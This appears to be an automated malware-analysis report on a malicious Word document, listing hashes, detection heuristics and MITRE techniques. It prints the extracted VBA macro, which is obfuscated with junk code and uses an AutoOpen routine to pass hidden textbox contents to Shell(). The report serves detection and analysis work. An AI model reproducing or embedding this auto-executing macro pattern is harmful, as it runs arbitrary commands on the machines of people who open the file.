Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a705fa6cbf009d6d…

MALICIOUS

Office (OLE)

148.5 KB Created: 2018-12-21 15:23:00 Authoring application: Microsoft Office Word First seen: 2019-02-26
MD5: 61a40f228d227ba0bba1179e51b2c728 SHA-1: e3a8552a805b9062c3931563162f9753643973c4 SHA-256: a705fa6cbf009d6da62a19fad2863e7dd336ba69ab601d0d51a80cab2186d803
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The 'autoopen' macro is present and utilizes the Shell() function, indicating an attempt to execute arbitrary commands. This is a common technique for downloading and executing further malicious payloads.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-6791502-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6791502-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4003 bytes
SHA-256: 3cc8b8375e7656ccf876a25f9abec8062b702715b9e929d5b14cc078f31b4abf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "B321593481444"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
  D886 = "f767"
  f9987 = "u425"
  J717 = "U9164"
  J50138
  l9406 = "s7298"
  z0746 = "L665"
  u1805 = "t627"
End Sub

Attribute VB_Name = "E1478366354117"
Function J50138()
On Error Resume Next
   Select Case V369
         Case 205
            Z415 = j985
            Z740 = Log(J3372)
            M3428 = R364
         Case 459
            Q4243 = q902
            v4488 = CBool(z421)
            N283 = Rnd(O5607 / Hex(D165 * w2931 - X485 / Int(611)) * 613 - 10)
      End Select
      D3521 = 947 - 584
      Set Y6452 = u332
   Select Case F1538
         Case 136
            m6311 = m895
            u021 = Log(z513)
            H779 = B988
         Case 423
            B071 = b7278
            Q834 = CBool(D858)
            u1697 = Rnd(c100 / Hex(B390 * A7599 - l9406 / Int(79)) * 574 - 760)
      End Select
      Q742 = 867 - 38
      Set D312 = m2365
   Select Case h9749
         Case 581
            q5707 = u751
            b0349 = Log(P2417)
            G633 = a0814
         Case 889
            T571 = D6541
            z431 = CBool(C839)
            X644 = Rnd(S2640 / Hex(E214 * P3362 - C4403 / Int(435)) * 854 - 662)
      End Select
      H100 = 953 - 353
      Set z8401 = F933
B249228 = Array(Z279656, j06641740, u4562547, Interaction.Shell(("" + n62747810 + z70033549 + r73490135 + B321593481444.TextBox1) + Z5184795 + i294988 + j80073164 + f019057, 8 - 8), C505164, G661359352, J70571195)
   Select Case A8490
         Case 133
            l772 = o486
            n735 = Log(V530)
            X857 = f7105
         Case 530
            b5231 = Q6452
            j563 = CBool(O0612)
            z3037 = Rnd(R915 / Hex(G8494 * u4716 - D524 / Int(156)) * 695 - 542)
      End Select
      p5821 = 154 - 261
      Set V1729 = R8000
End Function


Attribute VB_Name = "a85298682266"

Attribute VB_Name = "A292730645342"

Attribute VB_Name = "J8632918935"

Attribute VB_Name = "t66357882845"

Attribute VB_Name = "Q19573414130905"

Attribute VB_Name = "J34799106781029"

Attribute VB_Name = "m81989492606984"

Attribute VB_Name = "L33529626"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "W95593701441983"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "k9401063736"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "j37077510"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "M999357982573"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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